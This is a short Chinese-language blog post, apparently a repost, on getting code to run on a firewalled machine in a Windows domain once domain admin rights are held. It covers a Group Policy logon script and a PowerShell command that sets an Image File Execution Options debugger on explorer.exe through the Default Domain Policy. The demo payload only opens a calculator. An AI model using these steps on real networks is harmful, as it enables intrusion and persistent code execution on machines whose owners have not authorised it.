域内突破防火墙获取目标机器权限

2019-3-11 12:03 |来自: 互联网 1196 0

摘要: 情景如下在域中获取到了域管理员权限，其中一台机器上面存放绝密资料，但是该机器的防火墙是打开的，所有入站请求都被拦截，也就是说不能进行远程桌面连接、远程过程调用（RPC）等方式执行命令。思路1- 启动脚本在域控制器上配置组策略，用户下次登录时运行我们指定好的脚本服务器管理器-功能-组策略管 ...

关键词： 策略用户控制器任务登录脚本远程思路机器

情景如下

在域中获取到了域管理员权限，其中一台机器上面存放绝密资料，但是该机器的防火墙是打开的，所有入站请求都被拦截，也就是说不能进行远程桌面连接、远程过程调用（RPC）等方式执行命令。

思路1- 启动脚本

在域控制器上配置组策略，用户下次登录时运行我们指定好的脚本

服务器管理器->功能->组策略管理->林: z3r0.com -> Default Domain Policy

右键点击编辑

用户配置->windows 设置 -> 登录

双击登录

将脚本放到USERScriptsLogon目录下

这里的exploit.bat 只是弹出一个计算器

添加好后，坐等下次用户登录时触发

效果图

思路二、通过远程修改注册表方式

通过修改GptTmpl.inf文件，每隔两小时请求更新组策略的时候在域控制器上构造好GptTmpl.inf文件，在注册表中添加一个debug调试器，执行命令

详细参考

https://www.anquanke.com/post/id/85074

具体利用方法如下

在域控制器上执行

powershell
Import-Module GroupPolicy
Set-GPRegistryValue -Name "Default Domain Policy" -ValueName "debugger" -Value "\z3r0.comSYSVOLcalc.exe" -Type String -Key "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsexplorer.exe"

当用户运行资源管理器时会执行放在域控制器共享中的calc.exe